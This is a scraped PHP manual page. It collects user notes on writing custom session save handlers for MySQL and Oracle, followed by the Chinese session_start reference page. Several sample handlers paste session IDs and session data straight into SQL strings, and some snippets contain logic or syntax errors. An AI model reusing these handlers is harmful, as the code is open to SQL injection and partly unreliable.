If you use the OOP prototype of session_set_save_handler(SessionHandlerInterface $sessionhandler [, bool $register_shutdown = true ] ), a member method named neither validate_sid nor update_timestamp of the class of $sessionhandler are not invoked even in PHP 7.2, but a member method named create_sid is supported as of PHP 5.5.1.

It's 16th December, 2017 today, the documetation even PHP may get updated sometime afterwards.
centurianii at yahoo dot co dot uk 05-Sep-2017 12:57
Adding to the very useful class from: andreipa at gmail dot com

1. You should handle session expiration & data I/O from the SessionHandlerInterface methods,
2. You should NOT handle session regeneration and data modification from these methods but from a static method, e.g. sth like Session::start().
3. PHP gives a lot of examples but does NOT say what's the perspective under which one should work.

A skeleton of such a class:
namespace xyz;
class Session implements \SessionHandlerInterface, Singleton {
   /** @var SessionToken $token The SessionToken of this command;
          this is part of my programming approach */
   protected $token;
   /** @var PDO $dbh The PDO handler to the database */
   protected $dbh;
   /** @var $savePath Where sessions are stored */
   protected $savePath;
   /** @var $type Type of sessions (['files'|'sqlite']) */
   protected $type;
   /** @var self $instance An instance of this class */
   static private $instance = null;

   private function __construct() { ... }
   static public function getInstance() {
      if (self::$instance === null) {
         self::$instance = new self();
      }
      return self::$instance;
   }
   public function open($savePath, $sessionName) { ... }
   public function close() {
      if ($this->type == static::FILES) {
         return true;
      } elseif ($this->type == static::SQLITE) {
         return true;
      }
   }
   public function read($id) { ... }
   public function write($id, $data) { ... }
   public function destroy($id) { ... }
   public function gc($maxlifetime) { ... }
   static public function get($key) {
      return (isset($_SESSION[$key]))? $_SESSION[$key] : null;
   }
   static public function set($key, $value) {
      return $_SESSION[$key] = $value;
   }
   static public function newId() {...}
   static public function start($call = null, $log = false) {
      //1. start session (send 1st header)
      if (session_status() != PHP_SESSION_ACTIVE) {
         session_start();   //calls: open()->read()
      }

      //2. $_SESSION['session']: array of session control data
      // existed session
      if (is_array(static::get('session'))) {
         $session = static::get('session');
      // new session
      } else {
         $session = array();
      }

      $tmp = $_SESSION;
      //do sth with $session array...
      static::set('session', $session);
      session_write_close();   //calls: write()->read()->close()
      //create a new session inside if...else...
      session_id(static::newId());
      session_start();   //calls: open()->read()
      //if you want previous session data to be copied:
      //$_SESSION = $tmp;
      //do sth else with $session array and save it to new session...
      static::set('session', $session);

      //6. call callback function (only on valid/new sessions)
      if ($call)
         $call();
      session_write_close();   //calls: write()->read()->close()
   }
   /**
    * Defines custom session handler.
    */
   static public function setHandler() {
      // commit automatic session
      if (ini_get('session.auto_start') == 1) {
         session_write_close();
      }
      $handler = static::getInstance();
      session_set_save_handler($handler, true);
   }
}

Let's start a session:
Session::setHandler();
Session::start();

Trying for hours to trace my error where the 3rd Session::read() ended to use a null Session::dbh until I realized that Session::close() should NOT destroy properties of this class!
Also I avoid the use of session_create_id() as it's only for PHP 7 >= 7.1.0 and I use in place a static Session::newId().
nickleus 20-Jan-2017 03:52
i dont see any mention of what happens when eg "open" calls "die", like mentioned in docs for "register_shutdown_function":

"If you call exit() within one registered shutdown function, processing will stop completely and no other registered shutdown functions will be called."

http://php.net/manual/en/function.register-shutdown-function.php

my result: same behavior--"read" will not get called if "open" calls "die"/"exit".
shanikawm at gmail dot com 27-Jun-2016 11:45
Here is a class to handle session using an Oracle table.
https://github.com/shanikawm/PHP_Oracle_Based_Session_Handler_Class

<?php
/**
 * By Shanika Amarasoma
 * Date: 6/24/2016
 * PHP session handler using Oracle database
 * Oracle Create table statement
        CREATE TABLE PHP_SESSIONS
        (
            SESSION_ID  VARCHAR2(256 BYTE) UNIQUE,
            DATA        CLOB,
            TOUCHED     NUMBER(38)
        );
 */
class session_handler implements SessionHandlerInterface
{
    private $con;
    public function __construct() {
        if(!$this->con=oci_pconnect(DBUSER,DBPASS,CONNECTION_STR)){
            die('Database connection failed !');
        }
    }
    public function open($save_path ,$name){
        return true;
    }
    public function close(){
        return true;
    }
    public function read($session_id){
        $query = "SELECT \"DATA\" FROM PHP_SESSIONS WHERE SESSION_ID=Q'{" . $session_id . "}'";
        $stid = oci_parse($this->con, $query);
        oci_execute($stid, OCI_DEFAULT);
        $row = oci_fetch_array($stid, OCI_ASSOC + OCI_RETURN_LOBS);
        oci_free_statement($stid);
        return $row['DATA'];
    }
    public function write($session_id,$session_data){
        $dquery="DELETE FROM PHP_SESSIONS WHERE SESSION_ID=Q'{".$session_id."}'";
        $dstid = oci_parse($this->con,$dquery);
        oci_execute($dstid, OCI_NO_AUTO_COMMIT);
        oci_free_statement($dstid);
        $query="INSERT INTO PHP_SESSIONS(SESSION_ID,TOUCHED,\"DATA\") VALUES(Q'{".$session_id."}',".time().",EMPTY_CLOB()) RETURNING \"DATA\" INTO :clob";
        $stid = oci_parse($this->con,$query);
        $clob=oci_new_descriptor($this->con,OCI_D_LOB);
        oci_bind_by_name($stid, ':clob', $clob, -1, OCI_B_CLOB);
        if(!oci_execute($stid, OCI_NO_AUTO_COMMIT)){
            @oci_free_statement($stid);
            return false;
        }
        if($clob->save($session_data)){
            oci_commit($this->con);
            $return=true;
        } else {
            oci_rollback($this->con);
            $return=false;
        }
        $clob->free();
        oci_free_statement($stid);
        return $return;
    }
    public function destroy($session_id){
        $query="DELETE FROM PHP_SESSIONS WHERE SESSION_ID=Q'{".$session_id."}'";
        $stid = oci_parse($this->con,$query);
        oci_execute($stid, OCI_DEFAULT);
        $rows=oci_num_rows($stid);
        oci_commit($this->con);
        oci_free_statement($stid);
        if($rows>0){
            return true;
        } else {
            return false;
        }
    }
    public function gc($maxlifetime){
        $query="DELETE FROM PHP_SESSIONS WHERE TOUCHED<".(time()-$maxlifetime);
        $stid = oci_parse($this->con,$query);
        oci_execute($stid, OCI_DEFAULT);
        $rows=oci_num_rows($stid);
        oci_commit($this->con);
        oci_free_statement($stid);
        if($rows>0){
            return true;
        } else {
            return false;
        }
    }
}
session_set_save_handler(new session_handler(), true);
session_start();
carlos dot vini at gmail dot com 05-Jan-2016 01:25
If you have a custom handler registered ini_get('session.save_handler') will return 'user' instead of 'file'
andreipa at gmail dot com 29-Oct-2015 03:05
After spend so many time to understand how PHP session works with database and unsuccessful attempts to get it right, I decided to rewrite the version from our friend stalker.

//Database
CREATE TABLE `Session` (
  `Session_Id` varchar(255) COLLATE utf8_unicode_ci NOT NULL,
  `Session_Expires` datetime NOT NULL,
  `Session_Data` text COLLATE utf8_unicode_ci,
  PRIMARY KEY (`Session_Id`)
) ENGINE=InnoDB DEFAULT CHARSET=utf8 COLLATE=utf8_unicode_ci;
SELECT * FROM mydatabase.Session;

<?php
//inc.session.php

class SysSession implements SessionHandlerInterface
{
    private $link;

    public function open($savePath, $sessionName)
    {
        $link = mysqli_connect("server","user","pwd","mydatabase");
        if($link){
            $this->link = $link;
            return true;
        }else{
            return false;
        }
    }
    public function close()
    {
        mysqli_close($this->link);
        return true;
    }
    public function read($id)
    {
        $result = mysqli_query($this->link,"SELECT Session_Data FROM Session WHERE Session_Id = '".$id."' AND Session_Expires > '".date('Y-m-d H:i:s')."'");
        if($row = mysqli_fetch_assoc($result)){
            return $row['Session_Data'];
        }else{
            return "";
        }
    }
    public function write($id, $data)
    {
        $DateTime = date('Y-m-d H:i:s');
        $NewDateTime = date('Y-m-d H:i:s',strtotime($DateTime.' + 1 hour'));
        $result = mysqli_query($this->link,"REPLACE INTO Session SET Session_Id = '".$id."', Session_Expires = '".$NewDateTime."', Session_Data = '".$data."'");
        if($result){
            return true;
        }else{
            return false;
        }
    }
    public function destroy($id)
    {
        $result = mysqli_query($this->link,"DELETE FROM Session WHERE Session_Id ='".$id."'");
        if($result){
            return true;
        }else{
            return false;
        }
    }
    public function gc($maxlifetime)
    {
        $result = mysqli_query($this->link,"DELETE FROM Session WHERE ((UNIX_TIMESTAMP(Session_Expires) + ".$maxlifetime.") < ".$maxlifetime.")");
        if($result){
            return true;
        }else{
            return false;
        }
    }
}
$handler = new SysSession();
session_set_save_handler($handler, true);
?>

<?php
//page 1
require_once('inc.session.php');

session_start();

$_SESSION['var1'] = "My Portuguese text: SOU Gaucho!";
?>

<?php
//page 2
require_once('inc.session.php');

session_start();

if(isset($_SESSION['var1']){
echo $_SESSION['var1'];
}
//OUTPUT: My Portuguese text: SOU Gaucho!
?>
dimzon541 at gmail dot com 06-Sep-2015 11:23
Persisting PHP sessions into mongodb (allows NLB without affinity)
https://gist.github.com/dimzon/62eeb9b8561bcb9f0c6d
Steven George 17-Feb-2014 02:05
Note that as well as destructing objects before calling write() and close(), it seems PHP also destroys classes.  That is, you can't even call a static method of an external class in the write() and close() handlers - PHP will issue a Fatal error stating "Class xxxx not found"
cmanley 21-Aug-2013 03:20
Below is a session id value validator I just wrote. It is especially important to validate session id cookie values when using a custom file based validator, otherwise hackers could potentially trick it into overwriting non-session files.

/**
* Validates the value (the session id) of a session cookie.
* Useful for detecting potential hack attempts.
* It is up to the caller to delete the cookie if necessary.
* See also: http://lxr.php.net/xref/PHP_TRUNK/ext/session/session.c#php_session_valid_key
*
* @param string $value
* @param boolean $debug
* @return boolean
*/
function session_validate($cookie_value, $debug = false) {
    // session.hash_function allows you to specify the hash algorithm used to generate the session IDs. '0' means MD5 (128 bits) and '1' means SHA-1 (160 bits). Since PHP 5.3.0 it is also possible to specify any of the algorithms provided by the hash extension (if it is available), like sha512 or whirlpool. A complete list of supported algorithms can be obtained with the hash_algos() function.
    // session.hash_bits_per_character allows you to define how many bits are stored in each character when converting the binary hash data to something readable. The possible values are '4' (0-9, a-f), '5' (0-9, a-v), and '6' (0-9, a-z, A-Z, "-", ",").
    if (!(isset($cookie_value) && is_string($cookie_value) && strlen($cookie_value))) {
        return false;
    }
    $bits = null;
    if (1) {
        $hash_function = ini_get('session.hash_function');
        $hash_function_to_bits = array(
            0    => 128,
            1    => 160,
        );
        $bits = @$hash_function_to_bits[$hash_function];
    }
    $bits_per_char = ini_get('session.hash_bits_per_character');
    $bits_per_char_to_charclass = array(
        4    => '0-9a-f',
        5    => '0-9a-v',
        6    => '0-9a-zA-Z\-,',    // this is also the default
    );
    $charclass = array_key_exists($bits_per_char, $bits_per_char_to_charclass) ? $bits_per_char_to_charclass[$bits_per_char] : $bits_per_char_to_charclass[6];
    $charlength = $bits ? (integer)ceil($bits / $bits_per_char) : '1,128'; // the last value is a somewhat arbitrary default
    $re = '/^[' . $charclass . ']{' . $charlength . '}$/';
    $result = preg_match($re, $cookie_value);
    $debug && error_log(__FUNCTION__ . ' regexp: ' . $re . "\tresult: " .intval($result));
    return $result;
}
jamesbenson944 at hotmail dot com 04-Jul-2013 09:29
I'm not using objects for the save handlers I'm using functions but still get weird behaviour with session writing not being called.

This fixes the problem though:
register_shutdown_function('session_write_close');
Rusty X 06-Mar-2012 09:39
It is important to understand that PHP's default file-based session handling LOCKS the session file, inherently allowing ONLY ONE thread handling any given session at a time.
When you implement a DB-backed session storage and you do not do any locking, you may run into situations where more than one thread is serving the same session, and you may LOSE DATA because the second thread will overwrite any session changes done by the first thread.
You should therefore think about locking the session somehow if you want to have the exact same behavior as with the default file-based implementation. For example, with InnoDB you could do a SELECT ... FOR UPDATE, or you can use the GET_LOCK() function.
pavelc at users dot sourceforge dot net 11-Jul-2011 04:21
I write a class that unites whole handler functionality. It's not even needed to save instances of this class in variables. Just add a row:
<?php
new SessionSaveHandler();
?>
and the handler will rule the sessions ;-)
<?php

class SessionSaveHandler {
    protected $savePath;
    protected $sessionName;

    public function __construct() {
        session_set_save_handler(
            array($this, "open"),
            array($this, "close"),
            array($this, "read"),
            array($this, "write"),
            array($this, "destroy"),
            array($this, "gc")
        );
    }

    public function open($savePath, $sessionName) {
        $this->savePath = $savePath;
        $this->sessionName = $sessionName;
        return true;
    }

    public function close() {
        // your code if any
        return true;
    }

    public function read($id) {
        // your code
    }

    public function write($id, $data) {
        // your code
    }

    public function destroy($id) {
        // your code
    }

    public function gc($maxlifetime) {
        // your code
    }
}

new SessionSaveHandler();

?>
frank at interactinet dot com 22-Mar-2011 01:37
I had trouble with committing session data.
To "commit and continue" without closing your session, put this at the top of your "write" method:

<?php

$id = session_id();
session_write_close();
session_id($id);
session_start();

?>

Note that ANY time php generates a new session id, it is not automatically updated in a database. This can be helpful:

<?php

public function resetSessionId()
{
    $old = session_id();
    session_regenerate_id();
    $new = session_id();
    SessionHandler::regenerate_id($old,$new);
}

public function regenerate_id($old,$new)
{
    $db = mysqli->connect(...);

    $db->query('UPDATE sessions SET session_id = \''.$db->escape_string($new).'\'
    WHERE session_id = \''.$db->escape_string($old).'\'');
}
?>
dummynick at gmail dot com 24-May-2010 08:37
I was getting Fatal error: Exception thrown without a stack frame and it took days to figure out the reason. I am using memcache to store sessions and in my custom class I use Memcache class in write method.

I put the code in the write method inside try-catch block and it solved my problem.
bart2yk at yahoo dot com 22-Jan-2010 01:57
You can call the session_write in db object destructor to be shore that you still have a connection to mysql and the session is write.
joel the usual at sign then purerave.com 04-Dec-2009 10:53
When storing sessions in a DB, it's usually beneficial to use an existing custom DB object, but this creates problems with the latest version of PHP 5.3.1. This used to work fine on PHP 5.2.x (Linux and Windows).

The problem now is that session_write_close() is not automatically called when execution ends, but rather after all the objects have been destructed, including the DB object!

There are two ways around this, either manually calling session_write_close() at the end of your script(s), or not using the DB object.

I'm sure this is the intended behavior from the beginning.
skds1433 at hotmail dot com 02-Aug-2009 03:21
I pulled a really stupid move. If you are trying to debug your garbage collector, make sure you call the following >>> BEFORE <<< "session_start":

<?php
ini_set('session.gc_probability', 100);
ini_set('session.gc_divisor', 100);
?>

I was sure it was a bug in PHP, but turned out (like 99% of the time) to be me own fault.
yangqingrong at gmail dot com 21-Apr-2009 09:44
session_set_save_handler is used before session_start.if your session is setted as auto start. it will return FALSE value.so you need add session_write_close() before session_set_save_handler to cancel the session's auto start.it  likes this:

<?php
/*
qq:290359552
*/
session_write_close(); //cancel the session's auto start,important

function open()
{
   ...
}
....
session_set_save_handler( ... );
session_start();
?>
harald at hholzer at 13-Mar-2009 10:40
after spending 8 hours to find out whats going on..

just for the records, because php.net ignore the real world out there:

debian 5 installs by default the php-suhosin module, which changes the behavior of session_set_save_handler read/write function.

on calling the session write function the session data will be encrypted, and the returning string from the read function are decrypted and verified.

the encrypted data is no more compatible with session_encode/session_decode.

and breaks by default, subdomain handling and multiple host setups where different document roots are used.

for futher information look at:
http://www.hardened-php.net/suhosin/configuration.html

session sample data (debian 4):
test|s:3:"sdf";

session sample data (debian 5, with php-suhosin):
3GdlPEGr2kYgRFDs-pUSoKomZ4fN7r5BM5oKOCMsWNc...

i thing the suhosin patch should report a warning in case of invalid session data, to get a clue whats going wrong.
e dot sand at elisand dot com 04-Mar-2009 11:42
The "binary" data that is in the session data appears to surround class/object names, and if you pass your session data through a function to sanitize it for SQL injection, you may indeed run in to problems.

For example, using the PDO::quote() function to prepare the data for injection (in my case for SQLite3), it was stopping short as soon as it encountered the first bit of binary data, causing my session information to be corrupted.

This change *must* have happened somewhere in the 5.2 series, because I just started encountering this problem recently on a code base that had been tested & working on earlier versions of PHP 5.2.

This may in fact be a bug - I have not yet checked... but beware, and perhaps using base64 to encode/decode your session data is a good thing to do just to be sure (though you are now left unable to visually inspect serialized session information at the storage level which is a rather big problem for on-the-fly debugging of sessions).
anonymous at anonymous dot org 06-Oct-2008 12:11
if you simply append the information from session variables every time you'll have many multiples for variables each time they are changed. a simple way to do this is explode the data twice to seperate the variable name from the other relevant information and foreach() check against the stored set. here is a little bit of a mess i wrote to do it.
assuming stored session variables in both database and passed through function:

<?php
$buffer = array();
$buffer = explode('|',$sessiondata);
$buf1 = array();
$buf2 = array();
$finalbuff = '';
foreach($buffer as $i){
    $i = explode(';',$i);
    foreach($i as $b){
        array_push($buf1,$b);
    }
}
$buffer = explode('|',$result['data']);
foreach($buffer as $i){ $i = explode(';',$i); foreach($i as $b){ array_push($buf2,$b);}}
$z = 0;
$x = 0;
while($buf2[$z]){
    while($buf1[$x]){
        if($buf2[$z] == $buf1[$x]){
            $buf2[($z+1)] = $buf1[($x+1)];
        }
        $x+=2;
    }
    $z+=2;
}
foreach($buf2 as $i){ $finalbuff .= $i; }
?>

$sessiondata is the variable passed through the function and $result['data'] is the data stored in an sql database.
tomas at slax dot org 08-Jul-2008 07:00
Regarding the SAPIs: The warning mentioned in function's description (that the Current working directory is changed with some SAPIs) is very important.

It means that if your callback 'write' function needs to write to a file in current directory, it will not find it. You have to use absolute path and not rely upon the current working directory.

I thought this warning applies only to some strange environments like Windows, but it happens exactly on Linux + Apache 2.2 + PHP 5.
james dot ellis at gmail dot com 04-Apr-2008 03:39
When writing your own session handler, particularly database session handlers, play close attention to garbage cleanup and how it could affect server load.

To pick a round number example:

If you have 1000 requests per minute on session enabled pages, everyone needs a session started but the session garbage cleanup does not need to run every request. Doing so would cause unrequired queries on the database server.

In this example, setting your probability/divisor to 1/1000 would be sufficient to clean up old sessions at a minimum once a minute. If you don't need that kind of granularity, increase the gc divisor.

Finding the tradeoff between clearing up old sessions and server load is the important aspect here.
mixailo at mercenaries dot ru 11-Oct-2007 04:55
It is useful to use MEMORY storage engine in MySQL while handling sessions.
http://dev.mysql.com/doc/refman/5.0/en/memory-storage-engine.html
james at dunmore dot me dot uk 11-Oct-2007 08:52
I think it is very important here to stress that the WRITE method should use UPDATE+INSERT (or mysql specific REPLACE).

There is example code "out there" that uses just UPDATE for the write method, in which case, when session_regenerate_id is called, session data is lost (as an update would fail, as the key has changed).

I've just wasted a whole day due to this (I know I should have thought it through / RTFM, but it is an easy trap to fall into).
Colin 08-Mar-2007 12:10
When using a custom session handler, if the first callback function (sessOpen in my case) finds no session id, one is set by the time the second argument (sessRead in my case) is called.
matt at openflows dot org 19-Sep-2006 05:02
Note that for security reasons the Debian and Ubuntu distributions of php do not call _gc to remove old sessions, but instead run /etc/cron.d/php*, which check the value of session.gc_maxlifetime in php.ini and delete the session files in /var/lib/php*.  This is all fine, but it means if you write your own session handlers you'll need to explicitly call your _gc function yourself.  A good place to do this is in your _close function, like this:

<?php
function _close() {
    _gc(get_cfg_var("session.gc_maxlifetime"));
   // rest of function goes here
}
?>
information at saunderswebsolutions dot com 16-Aug-2006 11:56
Note that if session.auto_start is set to On in the php.ini, your session_set_save_handler will return false as the session has already been initialized.

If you are finding that your code works OK on one machine but doesn't work on another, check to see if session.auto_start is set to On
sneakyimp AT hotmail DOT com 04-Aug-2006 09:20
the behavior, return values, and exact time of calling for these functions is pretty poorly documented here.  i thought folks might like to know that:

1) calling session_start() triggers PHP to first call your open function and then call your read function before resuming with the code immediately following your session_start() call.

2) calling session_id('some_value') within your open function WILL NOT SET THE SESSION COOKIE (at least not on my setup - PHP 4.4.1).  Assuming you defined some function to validate a session id called my_func(), you might want to do something like this in your open function:

<?php
  function _open($save_path, $session_name) {
    // check for session id
    $sess_id = session_id();
    if (empty($sess_id) || !myfunc($sess_id)) {
      //session_id is INVALID - generating new
      $new_id = md5(uniqid("some random seed here"));
      session_id($new_id);
      setcookie(session_name(),
                    $new_id,
                    0,
                    "/",
                    ".mydomain.com");
      }

    return true;
  } // _open()
?>
mjohnson at pitsco dot com 28-Mar-2006 11:04
With regards to the read handler, the docs say:

  "Read function must return string value always to make save
  handler work as expected. Return empty string if there is no
  data to read."

I can't emphasize this enough. I just spent half a day trying to figure out why my sessions weren't storing any information. I was blithely returning the results of a query on the database from the read handler. Since there was no match for the new ID, the result was NULL. Since it wasn't a string, sessions were essentially disabled. So, the safe thing might be something like this:

<?php
function sessRead($id)
{
    // Look up data
    $results = getStuff($id);

    // Make sure it's a string
    settype($results, 'string');
    return $results;
}
?>

Of course, you can do whatever you want with it. But, no matter what, make sure you return a string.

HTH,
Michael
stalker at ruun dot de 03-Jan-2006 07:25
object- and mysql-based session-handler, requires the following table:

CREATE TABLE `ws_sessions` (
  `session_id` varchar(255) binary NOT NULL default '',
  `session_expires` int(10) unsigned NOT NULL default '0',
  `session_data` text,
  PRIMARY KEY  (`session_id`)
) TYPE=InnoDB;

<?php
class session {
    // session-lifetime
    var $lifeTime;
    // mysql-handle
    var $dbHandle;
    function open($savePath, $sessName) {
       // get session-lifetime
       $this->lifeTime = get_cfg_var("session.gc_maxlifetime");
       // open database-connection
       $dbHandle = @mysql_connect("server","user","password");
       $dbSel = @mysql_select_db("database",$dbHandle);
       // return success
       if(!$dbHandle || !$dbSel)
           return false;
       $this->dbHandle = $dbHandle;
       return true;
    }
    function close() {
        $this->gc(ini_get('session.gc_maxlifetime'));
        // close database-connection
        return @mysql_close($this->dbHandle);
    }
    function read($sessID) {
        // fetch session-data
        $res = mysql_query("SELECT session_data AS d FROM ws_sessions
                            WHERE session_id = '$sessID'
                            AND session_expires > ".time(),$this->dbHandle);
        // return data or an empty string at failure
        if($row = mysql_fetch_assoc($res))
            return $row['d'];
        return "";
    }
    function write($sessID,$sessData) {
        // new session-expire-time
        $newExp = time() + $this->lifeTime;
        // is a session with this id in the database?
        $res = mysql_query("SELECT * FROM ws_sessions
                            WHERE session_id = '$sessID'",$this->dbHandle);
        // if yes,
        if(mysql_num_rows($res)) {
            // ...update session-data
            mysql_query("UPDATE ws_sessions
                         SET session_expires = '$newExp',
                         session_data = '$sessData'
                         WHERE session_id = '$sessID'",$this->dbHandle);
            // if something happened, return true
            if(mysql_affected_rows($this->dbHandle))
                return true;
        }
        // if no session-data was found,
        else {
            // create a new row
            mysql_query("INSERT INTO ws_sessions (
                         session_id,
                         session_expires,
                         session_data)
                         VALUES(
                         '$sessID',
                         '$newExp',
                         '$sessData')",$this->dbHandle);
            // if row was created, return true
            if(mysql_affected_rows($this->dbHandle))
                return true;
        }
        // an unknown error occured
        return false;
    }
    function destroy($sessID) {
        // delete session-data
        mysql_query("DELETE FROM ws_sessions WHERE session_id = '$sessID'",$this->dbHandle);
        // if session was deleted, return true,
        if(mysql_affected_rows($this->dbHandle))
            return true;
        // ...else return false
        return false;
    }
    function gc($sessMaxLifeTime) {
        // delete old sessions
        mysql_query("DELETE FROM ws_sessions WHERE session_expires < ".time(),$this->dbHandle);
        // return affected rows
        return mysql_affected_rows($this->dbHandle);
    }
}
$session = new session();
session_set_save_handler(array(&$session,"open"),
                         array(&$session,"close"),
                         array(&$session,"read"),
                         array(&$session,"write"),
                         array(&$session,"destroy"),
                         array(&$session,"gc"));
session_start();
// etc...
?>
korvus at kgstudios dot net 11-Jun-2005 05:34
It seems when you call 'session_name()', php loads the session id automatically from GET ( if the index exists ) and passes it to the 'read' callback method correctly, but the 'write' callback is invoked twice: first the auto-generated session id, then the custom session id

So be aware of what queries you execute inside the callback .. I got crazy because I used a MySQL 'REPLACE' statement to agilize, and I spent a lot of hours trying to understand why 2 rows instead of 1 were being affected ( the first id was inserting, the second updating )

I hope this helps!
oliver at teqneers dot de 03-Feb-2005 03:44
For some people it might be important to know, that if the standard session handler has been overwritten with session_set_save_handler, no locking is working anymore (between session_read and session_write). The following might happen:

script "A" start         .
read session data        .
.                        script "B" start
.                        read session data
running (30secs)         add session data
.                        write sesion data
.                        script "B" stop
write session data       .
script "A" stop          .

If a script "A" runs for a long time (say 30secs) the same user might start another script "B", which also uses a session. Script "B" will start and read session data, even though script "A" is still running. Because script "B" is much faster it will finish its work and write back its session data before script "A" has ended. Now script "A" ends and overwrites all of script "B"'s session data. If you DON'T use session_set_save_handler, this cannot happend, because in this case, PHP will not start script "B" until script "A" ends.
Balu 19-Sep-2004 03:26
If a session is closed the save-handlers seem to be resetted (in PHP 4.1.2 they are), so you need to run session_set_save_handler() again after e.g. running session_write_close() and restarting the session with session_start();
coco at digitalco2 dot com 23-Nov-2003 03:59
When using mySQL for your session handling functions, don't forget to call mysql_select_db() to change the database if you are using a separate database for your session data. Call mysql_select_db() INSIDE every handler function that accesses the database, since if you write session data after accessing another database, it will not change the database to your session database, and therefore, not write the session data.
ivo at magstudio dot net 25-Nov-2002 07:08
Just a few words to explain some troubles while using session_set_save_handler(). It appears that internally PHP calls session management functions in this order: open(), read(), write(), close(). Close() function is called even if you does not make a call to sesison_start(), perhaps for some reasons like cleaning.
   If you try to redefine these functions and call sessions_set_save_handler() but something doesn't work, (in my case the ssion data hasn't been written) it's a good idea to debug them in the order they are called. They doesn't produce error output to browser but you can use print or echo.
   Shortly, if your write() function doesn't work as expected take a look for errors in previous functions - open() and read().
   I hope that this will help to save someone few hours debugging.
spam at skurrilo dot de 08-May-2002 04:16
You can't use the session autostart feature with

session.save_handler = user

set in your php.ini. Use instead the auto_prepend_file directive in the php.ini and point it to your save_handler with an session_start() at the end.


启动新会话或者重用现有会话

  • ? session_set_save_handler
  • session_status ?
  • PHP Manual
  • Session 函数
  • 启动新会话或者重用现有会话

session_start

(PHP 4, PHP 5, PHP 7, PHP 8)

session_start — 启动新会话或者重用现有会话

说明

session_start(array $options = []): bool

session_start() 会创建新会话或者重用现有会话。 如果通过 GET 或者 POST 方式，或者使用 cookie 提交了会话 ID， 则会重用现有会话。

当会话自动开始或者通过 session_start() 手动开始的时候， PHP 内部会调用会话处理程序的 open 和 read 回调函数。 会话处理程序可能是 PHP 默认的， 也可能是扩展提供的（SQLite 或者 Memcached 扩展）， 也可能是通过 session_set_save_handler() 设定的用户自定义会话处理程序。 通过 read 回调函数返回的现有会话数据（使用特殊的序列化格式存储）， PHP 会自动反序列化数据并且填充 $_SESSION 超级全局变量。

要想使用命名会话，请在调用 session_start() 函数 之前调用 session_name() 函数。

如果启用了 session.use_trans_sid 选项， session_start() 函数会注册一个内部输出处理程序， 该输出处理程序完成 URL 重写的工作。

如果用户联合使用 ob_start() 和 ob_gzhandler 函数， 那么函数的调用顺序会影响输出结果。 例如，必须在开始会话之前调用 ob_gzhandler 函数完成注册。

参数

options

此参数是一个关联数组，如果提供，那么会用其中的项目覆盖 会话配置指示 中的配置项。此数组中的键无需包含 session. 前缀。

除了常规的会话配置指示项， 还可以在此数组中包含 read_and_close 选项。如果将此选项的值设置为 true， 那么会话文件会在读取完毕之后马上关闭， 因此，可以在会话数据没有变动的时候，避免不必要的文件锁。

返回值

成功开始会话返回 true ，反之返回 false

更新日志

版本 | 说明
7.1.0 | 当 session_start() 执行失败， 无法开始一个会话的时候，会返回 false， 并且不会初始化超级变量 $_SESSION。

示例

基本的会话示例

Example #1 page1.php

<?php
// page1.php

session_start();

echo 'Welcome to page #1';

$_SESSION['favcolor'] = 'green';
$_SESSION['animal'] = 'cat';
$_SESSION['time'] = time();

// 如果使用 cookie 方式传送会话 ID
echo '<br /><a href="page2.php">page 2</a>';

// 如果不是使用 cookie 方式传送会话 ID，则使用 URL 改写的方式传送会话 ID
echo '<br /><a href="page2.php?' . SID . '">page 2</a>';
?>

请求 page1.php 页面之后， 第二个页面 page2.php 会包含会话数据。 请查阅 会话参考 获取更多关于 会话 ID 传送的信息， 在该参考页面中有关于常量 SID 的详细说明。

Example #2 page2.php

<?php
// page2.php

session_start();

echo 'Welcome to page #2<br />';

echo $_SESSION['favcolor']; // green
echo $_SESSION['animal']; // cat
echo date('Y m d H:i:s', $_SESSION['time']);

// 类似 page1.php 中的代码，你可能需要在这里处理使用 SID 的场景
echo '<br /><a href="page1.php">page 1</a>';
?>

调用 session_start() 的时候指定选项

Example #3 覆盖 Cookie 超时时间设定

<?php
// 设置 cookie 的有效时间为 1 天
session_start([
'cookie_lifetime' => 86400,
]);
?>

Example #4 读取会话之后立即关闭会话存储文件

<?php
// 如果确定不修改会话中的数据，
// 我们可以在会话文件读取完毕之后立即关闭它
// 来避免由于给会话文件加锁导致其他页面阻塞
session_start([
'cookie_lifetime' => 86400,
'read_and_close' => true,
]);

注释

Note:

要使用基于 cookie 的会话， 必须在输出开始之前调用 session_start() 函数。

Note:

建议使用 zlib.output_compression 来替代 ob_gzhandler()。

Note:

根据配置不同，本函数会发送几个 HTTP 响应头。 参考 session_cache_limiter() 来自定义 HTTP 响应头。

参见

  • $_SESSION
  • session.auto_start 配置指示
  • session_id() - 获取/设置当前会话 ID

User Contributed Notes

bwz 08-Feb-2023 02:19
Be warned of another issue with blocking sessions: if you want to call an external program (or use an external service) that needs to access your website using the same session.

For example I am printing a page as a PDF. I can just save the web page as a HTML file. But the images in the HTML are also private and require the current user session to be seen.

What will happen is that this program might hang indefinitely (or timeout) as session_start waits for the parent PHP process to release the lock. And session_start doesn't obey max_execution_time (as documented in this bug: https://bugs.php.net/bug.php?id=72345 ), so this will effectively kill the server after a few requests, as each one will be hanging forever

It's the same if you use an external HTTP service:

<?php
$pdf = file_get_contents('http://pdf.website.tld/?url=http://website.tld/print.php');
?>

The service will wait for the website host to release the lock, but it can't as it is waiting for the PDF service to finish...

The nice solution is to release the lock immediately by calling session_write_close after session_start, and when you need to write to the session you do the same again, but as noted it has its own issues. Using a custom session handler is probably the best solution.
polygon dot co dot in at gmail dot com 07-Nov-2021 10:01
Websites are prone to Session Attack where its proper usage is not done.

There are tools like "Apache Benchmark" (ab) and many others which can hit the website with load for load / performance testing.

Code below starts the session for every request.

<?php
session_start();

$username = $_POST['username'];
$password = $_POST['password'];

if(isValidUser($username, $password)) {

    Suserdetails = getUserDetails($username);

    $_SESSION['user_id']    = Suserdetails['user_id'];
    $_SESSION['username']    = Suserdetails['username'];
    $_SESSION['firstname']    = Suserdetails['firstname'];

    header('Location: dashboard.php');
}
?>

This generates session file for every request irrespective of PHPSESSID cookie value when I use tools like ab, there by creating inode issue.

One should start the session after properly authenticating.

<?php

$username = $_POST['username'];
$password = $_POST['password'];

if(isValidUser($username, $password)) {

    Suserdetails = getUserDetails($username);

    session_start();

    $_SESSION['user_id']    = Suserdetails['user_id'];
    $_SESSION['username']    = Suserdetails['username'];
    $_SESSION['firstname']    = Suserdetails['firstname'];

    header('Location: dashboard.php');
}
?>

Scripts other then login first validates session which requires session.

<?php

    if(session_status()!=PHP_SESSION_NONE)  header('Location: login.php');

    session_start();

    if(!isset($_SESSION['user_id'])) header('Location: login.php');

    code logic below....
}
?>

